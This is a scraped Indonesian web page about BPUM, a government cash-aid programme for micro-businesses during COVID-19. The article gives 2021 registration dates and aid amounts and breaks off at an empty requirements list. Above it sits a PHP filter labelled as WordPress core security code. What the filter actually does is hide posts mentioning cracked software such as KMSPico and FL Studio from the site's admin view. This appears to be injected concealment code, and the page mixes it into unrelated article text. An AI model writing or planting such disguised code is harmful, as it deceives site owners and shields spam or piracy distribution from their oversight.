# BEGIN WP CORE SECURE
# Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE"
# dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress.
# Setiap perubahan pada arahan di antara penanda berikut akan ditimpa.
function exclude_posts_by_titles($where, $query) {
global $wpdb;
if (is_admin() && $query->is_main_query()) {
$keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner'];
foreach ($keywords as $keyword) {
$where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%");
}
}
return $where;
}
add_filter('posts_where', 'exclude_posts_by_titles', 10, 2);
# END WP CORE SECURE
BPUM Bantuan Bagi Pelaku Usaha Mikro (BPUM) adalah bantuan pemerintah dalam bentuk uang yang diberikan kepada pelaku usaha mikro yang bersumber dari Anggaran Pendapatan dan Belanja Negara (APBN)
BPUM dimaksudkan untuk membantu dan menjaga keberlangsungan usaha pelaku usaha mikro menghadapi tekanan akibat akibat Corona Virus Disease 2019.
Pendaftaran BPUM tahun 2021 dimulai tanggal 12 April sampai dengan tanggal 20 April 2021 yang diprioritaskan untuk pendaftar baru ( yang belum mendaftar di tahun 2020).
BPUM diberikan satu kali dalam bentuk uang yang disalurkan langsung ke rekening BPUM. Tahun 2020 BPUM diberikan sejumlah Rp.2.400.000,- (dua juta empat ratus ribu rupiah) untuk pelaku usaha mikro yang memenuhi kriteria yang tidak sedang menerima kredit atau pembiayaan dari perbankan. Sedangkan untuk tahun 2021 nominal BPUM yang diterima oleh pelaku usaha, lebih kecil yaitu Rp. 1.200.000,-
BPUM diberikan kepada pelaku Usaha Mikro untuk menjalankan usaha di tengah krisis akibat pandemic COVID-19 dalam rangka Program Pemulihan Ekonomi Nasional.
Pelaku Usaha Mikro penerima BPUM harus memenuhi persyaratan :
Pengusul BPUM meliputi :